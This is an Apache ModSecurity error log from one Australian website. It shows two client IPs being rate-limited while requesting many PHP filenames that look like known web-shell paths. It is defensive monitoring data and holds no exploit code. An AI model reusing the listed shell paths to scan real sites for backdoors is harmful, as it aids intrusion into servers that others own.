[Mon Apr 13 17:14:48.407914 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:65113] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0CDDO3t8R5NaxzYTSwwAAAUY"]
[Mon Apr 13 17:14:49.185636 2026] [:error] [pid 57183:tid 57195] [client 20.240.142.13:61916] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ady0CTDO3t8R5NaxzYTSyAAAAUo"]
[Mon Apr 13 17:14:49.516719 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:65153] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady0CTDO3t8R5NaxzYTSygAAAUI"]
[Mon Apr 13 17:14:50.632134 2026] [:error] [pid 57183:tid 57198] [client 20.240.142.13:59874] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ady0CjDO3t8R5NaxzYTS0gAAAU0"]
[Mon Apr 13 17:14:51.561444 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:65197] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0CwEnn1dQrOSHHNVaIgAAAQ8"]
[Mon Apr 13 17:14:51.886982 2026] [:error] [pid 63309:tid 63317] [client 20.100.201.121:64667] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady0C0pIKZ10weXpf0UDFgAAAAQ"]
[Mon Apr 13 17:14:52.259506 2026] [:error] [pid 7228:tid 7233] [client 20.240.142.13:60483] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "ady0DAEnn1dQrOSHHNVaJQAAAQM"]
[Mon Apr 13 17:14:52.890065 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64673] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady0DLHZEIkQ0Zmgp5oeYgAAAME"]
[Mon Apr 13 17:14:53.677661 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:65101] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0DTDO3t8R5NaxzYTS2wAAAVc"]
[Mon Apr 13 17:14:54.754990 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64631] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady0DrHZEIkQ0Zmgp5oebQAAANM"]
[Mon Apr 13 17:14:54.997479 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:64086] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0DrHZEIkQ0Zmgp5oecQAAAMw"]
[Mon Apr 13 17:14:55.464061 2026] [:error] [pid 63406:tid 63424] [client 20.240.142.13:61629] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "ady0D7HZEIkQ0Zmgp5oedgAAAM0"]
[Mon Apr 13 17:14:55.952951 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64658] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady0D7HZEIkQ0Zmgp5oeeQAAAMs"]
[Mon Apr 13 17:14:56.529885 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64638] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0ELHZEIkQ0Zmgp5oeegAAAMk"]
[Mon Apr 13 17:14:56.608565 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:64067] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0ELHZEIkQ0Zmgp5oeewAAAMU"]
[Mon Apr 13 17:14:57.303562 2026] [:error] [pid 57183:tid 57206] [client 20.100.201.121:63210] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady0ETDO3t8R5NaxzYTS3QAAAVU"]
[Mon Apr 13 17:14:57.795994 2026] [:error] [pid 9314:tid 9337] [client 20.240.142.13:59871] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "ady0EW_r4W8fX2GWyGTJ3AAAAZU"]
[Mon Apr 13 17:14:58.662426 2026] [:error] [pid 63311:tid 63377] [client 20.100.201.121:65136] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0EqHjrGN1MqBCVFnRJgAAAIY"]
[Mon Apr 13 17:14:59.388698 2026] [:error] [pid 63311:tid 63382] [client 20.100.201.121:64107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0E6HjrGN1MqBCVFnRKQAAAIs"]
[Mon Apr 13 17:14:59.512644 2026] [:error] [pid 63311:tid 63380] [client 20.240.142.13:64506] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "ady0E6HjrGN1MqBCVFnRKgAAAIk"]
[Mon Apr 13 17:14:59.602494 2026] [:error] [pid 63311:tid 63385] [client 20.100.201.121:65103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady0E6HjrGN1MqBCVFnRLAAAAI4"]
[Mon Apr 13 17:15:00.176477 2026] [:error] [pid 63311:tid 63374] [client 20.100.201.121:63721] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ady0FKHjrGN1MqBCVFnRLwAAAIM"]
[Mon Apr 13 17:15:00.579410 2026] [:error] [pid 63309:tid 63332] [client 20.100.201.121:64125] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady0FEpIKZ10weXpf0UDGgAAABM"]
[Mon Apr 13 17:15:00.839976 2026] [:error] [pid 63311:tid 63379] [client 20.240.142.13:64485] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "ady0FKHjrGN1MqBCVFnRMgAAAIg"]
[Mon Apr 13 17:15:02.113121 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:64616] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ady0FjDO3t8R5NaxzYTS3gAAAUc"]
[Mon Apr 13 17:15:02.728660 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:65105] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady0FrHZEIkQ0Zmgp5oegAAAAMM"]
[Mon Apr 13 17:15:02.841686 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64190] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ady0FrHZEIkQ0Zmgp5oeggAAAME"]
[Mon Apr 13 17:15:03.399788 2026] [:error] [pid 63311:tid 63377] [client 20.240.142.13:62733] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "ady0F6HjrGN1MqBCVFnROAAAAIY"]
[Mon Apr 13 17:15:03.465687 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:64677] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady0FzDO3t8R5NaxzYTS4QAAAVE"]
[Mon Apr 13 17:15:03.671431 2026] [:error] [pid 63311:tid 63391] [client 20.100.201.121:63712] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ady0F6HjrGN1MqBCVFnROQAAAJQ"]
[Mon Apr 13 17:15:04.487033 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:65153] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ady0GDDO3t8R5NaxzYTS4wAAAU0"]
[Mon Apr 13 17:15:04.780495 2026] [:error] [pid 57183:tid 57186] [client 20.100.201.121:65200] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady0GDDO3t8R5NaxzYTS5AAAAUE"]
[Mon Apr 13 17:15:05.231528 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:64074] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0GQEnn1dQrOSHHNVaPAAAARM"]
[Mon Apr 13 17:15:05.582979 2026] [:error] [pid 7228:tid 7236] [client 20.240.142.13:61616] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "ady0GQEnn1dQrOSHHNVaPgAAAQY"]
[Mon Apr 13 17:15:06.441788 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64655] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady0GrHZEIkQ0Zmgp5oeiQAAAMs"]
[Mon Apr 13 17:15:07.716082 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:65214] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0GzDO3t8R5NaxzYTS5gAAAUw"]
[Mon Apr 13 17:15:08.622055 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:63121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0HDDO3t8R5NaxzYTS6AAAAVM"]
[Mon Apr 13 17:15:09.747202 2026] [:error] [pid 7228:tid 7251] [client 20.240.142.13:62751] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "ady0HQEnn1dQrOSHHNVaSgAAARU"]
[Mon Apr 13 17:15:09.749503 2026] [:error] [pid 7228:tid 7254] [client 20.100.201.121:65184] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ady0HQEnn1dQrOSHHNVaSwAAARg"]
[Mon Apr 13 17:15:09.787155 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:63705] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0HW_r4W8fX2GWyGTJ9AAAAZc"]
[Mon Apr 13 17:15:09.866423 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:64690] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0HW_r4W8fX2GWyGTJ9QAAAYM"]
[Mon Apr 13 17:15:10.872379 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:64065] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0HrHZEIkQ0Zmgp5oekwAAAMw"]
[Mon Apr 13 17:15:11.925411 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64634] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0H7HZEIkQ0Zmgp5oelAAAANY"]
[Mon Apr 13 17:15:12.290080 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:64659] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0ILHZEIkQ0Zmgp5oelgAAANU"]
[Mon Apr 13 17:15:12.652566 2026] [:error] [pid 57183:tid 57185] [client 20.240.142.13:61889] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "ady0IDDO3t8R5NaxzYTS8gAAAUA"]
[Mon Apr 13 17:15:13.293672 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:65162] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0IbHZEIkQ0Zmgp5oenQAAAMU"]
[Mon Apr 13 17:15:13.655079 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64697] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0IbHZEIkQ0Zmgp5oenwAAANM"]
[Mon Apr 13 17:15:14.739839 2026] [:error] [pid 63406:tid 63428] [client 20.100.201.121:64578] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0IrHZEIkQ0Zmgp5oepgAAANE"]
[Mon Apr 13 17:15:15.364981 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:63220] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0IzDO3t8R5NaxzYTS9AAAAU8"]
[Mon Apr 13 17:15:16.546718 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:65211] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0JLHZEIkQ0Zmgp5oesAAAAMM"]
[Mon Apr 13 17:15:16.630116 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:64171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0JLHZEIkQ0Zmgp5oesQAAAMY"]
[Mon Apr 13 17:15:17.290299 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:62032] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0JbHZEIkQ0Zmgp5oetgAAAM0"]
[Mon Apr 13 17:15:17.361668 2026] [:error] [pid 7228:tid 7254] [client 20.240.142.13:60512] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "ady0JQEnn1dQrOSHHNVaXwAAARg"]
[Mon Apr 13 17:15:17.379534 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64078] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ady0JbHZEIkQ0Zmgp5oeuAAAANY"]
[Mon Apr 13 17:15:18.516190 2026] [:error] [pid 63310:tid 63365] [client 20.100.201.121:65181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0JnoXpRU5ztmwPjIvxAAAAFU"]
[Mon Apr 13 17:15:19.138491 2026] [:error] [pid 57183:tid 57206] [client 20.100.201.121:64109] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0JzDO3t8R5NaxzYTS-AAAAVU"]
